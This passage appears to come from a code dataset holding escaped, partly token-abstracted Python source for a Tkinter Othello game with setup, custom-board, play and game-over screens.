diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n",
"<import token>\n<assignment token>\n\n\nclass Handler:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n 